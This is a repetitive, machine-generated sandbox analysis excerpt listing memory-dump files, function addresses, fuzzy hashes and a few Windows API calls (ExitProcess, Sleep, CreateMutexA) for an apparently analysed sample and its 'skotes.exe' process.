Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: list too long$q4]2
API String ID: 0-3958132840
Opcode ID: 49d698ba4c7522617fb1e7972217ea0e8294caa411988fa3b4fc22e70c56bf7e
Instruction ID: f5ee88c45ecc73c89f325ae3947cfdc631826108e2f670e159e4f00ceb457f6e
Opcode Fuzzy Hash: 49d698ba4c7522617fb1e7972217ea0e8294caa411988fa3b4fc22e70c56bf7e
Instruction Fuzzy Hash: C961B2B0E043599BDB20DF64CD85BA9F7B4EF04700F0041A9F91DA7291EB71AA45DF62

Function 00CE2900 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00CE29DF

Strings

q4]2, xrefs: 00CE2915
q4]2, xrefs: 00CE29C4

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: q4]2$q4]2
API String ID: 2659868963-142918022
Opcode ID: 6259663daddbee476a72dcc6497a9d1b41c60d545578811715cd11e2ae6f59c8
Instruction ID: 1bcccfe24808c3803653dac91b469245f20ab2be97e8ce0a38b398df36a822c5
Opcode Fuzzy Hash: 6259663daddbee476a72dcc6497a9d1b41c60d545578811715cd11e2ae6f59c8
Instruction Fuzzy Hash: 4F318171910209AFCB14DF58C841B9EFFF9EB49720F54461AF814A7780EB71A954CBB0

Function 00CE2B30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00CE2B63

Strings

q4]2, xrefs: 00CE2B36
This function cannot be called on a default constructed task, xrefs: 00CE2B43

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: This function cannot be called on a default constructed task$q4]2
API String ID: 2659868963-2002026376
Opcode ID: adfefbcb0996abb05420780b82f8bec05aba4d62f1a59eb18d3d47d95729ab6b
Instruction ID: a3c39a69ba17d9b6bfbef5757d776cd3fffc7ea4c7228bd3607e5063b3075788
Opcode Fuzzy Hash: adfefbcb0996abb05420780b82f8bec05aba4d62f1a59eb18d3d47d95729ab6b
Instruction Fuzzy Hash: F8F08C71D1030CABC710DF6898419AEFBF9EF15300F5042AEF840A7300EBB11A588BB5

Analysis Process: skotes.exePID: 5220, Parent PID: 5472COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1886
Total number of Limit Nodes:	9

Executed Functions

Function 009A652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,009A652A,?,?,?,?,?,009A7661), ref: 009A6566

Memory Dump Source

Source File: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000002.00000002.1626088718.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626103997.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626159008.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626174272.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626192380.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626207606.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626222409.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626316884.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626332933.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626351524.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626366093.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626408737.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626424006.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626438824.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626453676.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626472584.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626491463.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626507986.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626524349.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626541714.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626556345.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626575139.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626590761.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626604835.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626621297.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626637155.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626679645.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626701139.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626718037.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626734047.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626750400.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626770424.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626786663.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626802996.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626823019.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626847938.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626870802.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626902181.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626989783.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627099301.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627117464.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627133327.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627150769.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627167976.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 24be50c629740358240313daa14a9c2a3429e3f767756508e7c76872e63ad8fd
Instruction ID: 2fd7f7d541f4eb1812b1f4f60a64b2e0a280e10c6e883833fcc9c131a1e5b476
Opcode Fuzzy Hash: 24be50c629740358240313daa14a9c2a3429e3f767756508e7c76872e63ad8fd
Instruction Fuzzy Hash: F8E01230441148AFCF297F58C805EAD3B6DEF92755F085814FD044A635CB75EE92CAC0

Function 00979BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000002.00000002.1626088718.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626103997.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626159008.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626174272.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626192380.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626207606.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626222409.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626316884.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626332933.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626351524.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626366093.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626408737.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626424006.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626438824.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626453676.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626472584.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626491463.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626507986.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626524349.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626541714.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626556345.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626575139.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626590761.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626604835.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626621297.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626637155.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626679645.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626701139.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626718037.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626734047.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626750400.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626770424.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626786663.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626802996.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626823019.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626847938.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626870802.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626902181.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626989783.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627099301.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627117464.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627133327.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627150769.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627167976.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8b13ddc8a9a8397f6c6c05398b718464ffa25238ccd6791d307b5a4349670a20
Instruction ID: 2870544994a17da743449d788b2dc561a8dbc6152e795ff652f72a07c4ac40f2
Opcode Fuzzy Hash: 8b13ddc8a9a8397f6c6c05398b718464ffa25238ccd6791d307b5a4349670a20
Instruction Fuzzy Hash: F1318B32A042058BEB08FB78DC89B6DB7B6EBC2310F24C228E05C973D5C7359985CB52

Function 00979F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000002.00000002.1626088718.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626103997.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626159008.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626174272.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626192380.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626207606.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626222409.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626316884.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626332933.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626351524.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626366093.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626408737.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626424006.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626438824.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626453676.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626472584.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626491463.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626507986.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626524349.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626541714.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626556345.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626575139.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
